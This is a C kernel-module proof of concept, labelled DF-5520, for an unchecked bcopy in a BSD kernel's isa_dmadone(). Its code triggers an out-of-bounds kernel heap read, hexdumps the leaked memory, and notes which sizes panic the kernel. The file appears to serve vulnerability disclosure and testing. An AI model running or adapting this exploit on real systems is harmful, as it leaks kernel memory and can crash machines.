DF-5520 / df5520.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 | /* * DF-5520 PoC (non-fatal) — sys/bus/isa/x86_64/isa_dma.c * * isa_dmadone() (isa_dma.c:351-357) bcopy()s `nbytes` bytes OUT of the * channel's bounce buffer WITHOUT validating nbytes against * dma_bouncebufsize[chan] -- the exact check isa_dmastart() performs at * isa_dma.c:241-244 before bcopy()ing INTO it. A driver that passes a * done-size larger than the started size (or that calls dmadone after a * release/re-acquire cycle that left the stale `dma_bounced` bit set -- * see the XXX comment at isa_dma.c:170-178) gets an out-of-bounds kernel * heap read whose contents land in the driver's buffer. * * Demo (root KLD, free DMA channel 1): * m1 = contigmalloc(...) "CC"; init(1, 64) -> 64-byte bounce chunk; * m2 = contigmalloc(...) "DD" (low arena slots are 64K-aligned, the * bounce chunk sits between them) * dmastart(READ, src, 64, 1) -> programs transfer, bounce armed * dmadone(READ, out, 0x20000,1) -> 128KB copied out of the 64-byte * bounce buffer: OOB heap read. * hexdump(out) shows kernel low-memory contents (and the 0xDD marker * at the next 64K slot) -- leaked into a driver-accessible buffer. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/malloc.h> #include <sys/bus.h> #include <bus/isa/isavar.h> #ifndef DONE_NBYTES #define DONE_NBYTES 0x800 /* silent OOB read within the chunk's page. * NOTE: nbytes >= (mapped-window edge - * chunk) -- observed 0x11000/0x20000 -- * deterministically panics in memmove * called from isa_dmadone (see run.log, * run.2.log: fault VA 0xffffffff82604000) */ #endif static void hexdump_region(const char *tag, const unsigned char *b, int off, int len) { int i, j; for (i = off; i < off + len; i += 16) { kprintf("%s+%05x:", tag, i); for (j = 0; j < 16 && (i + j) < off + len; j++) kprintf(" %02x", b[i + j]); kprintf("\n"); } } static int df5520_modevent(module_t mod, int type, void *arg) { unsigned char *m1, *m2, *outbuf, *srcbuf; int rc; switch (type) { case MOD_LOAD: rc = isa_dma_acquire(1); kprintf("df5520: isa_dma_acquire(1) = %d\n", rc); if (rc) return (0); /* prime the future bounce chunk with a pattern: allocate, * dirty, free -- isa_dma_init(1,64) then reuses the chunk */ m1 = contigmalloc(64, M_DEVBUF, M_NOWAIT, 0ul, 0xfffffful, 1ul, 0x10000ul); if (m1) { memset(m1, 0xE7, 64); contigfree(m1, 64, M_DEVBUF); } rc = isa_dma_init(1, 64, M_NOWAIT); kprintf("df5520: isa_dma_init(1,64) = %d (64-byte bounce chunk in the <16MB arena)\n", rc); if (rc) return (0); m2 = contigmalloc(64, M_DEVBUF, M_NOWAIT, 0ul, 0xfffffful, 1ul, 0x10000ul); if (m2) memset(m2, 0xDD, 64); srcbuf = kmalloc(4096, M_DEVBUF, M_WAITOK); memset(srcbuf, 0x42, 4096); outbuf = kmalloc(DONE_NBYTES, M_DEVBUF, M_WAITOK | M_ZERO); isa_dmastart(ISADMA_READ, srcbuf, 64, 1); kprintf("df5520: isa_dmastart(READ, 64 bytes, chan 1) programmed\n"); kprintf("df5520: isa_dmadone(READ, nbytes=0x%x, chan 1): unclamped bcopy out of the 64-byte bounce buffer\n", DONE_NBYTES); isa_dmadone(ISADMA_READ, outbuf, DONE_NBYTES, 1); kprintf("df5520: outbuf contents past byte 64 are kernel low-memory data NOT part of any DMA transfer:\n"); hexdump_region("df5520: leak", outbuf, 0x30, 0x50); hexdump_region("df5520: leak", outbuf, 0x400, 0x40); isa_dma_release(1); kprintf("df5520: done (kernel heap OOB read demonstrated; contents land in driver buffer)\n"); return (0); default: return (0); } } static moduledata_t df5520_mod = { "df5520", df5520_modevent, NULL }; DECLARE_MODULE(df5520, df5520_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); |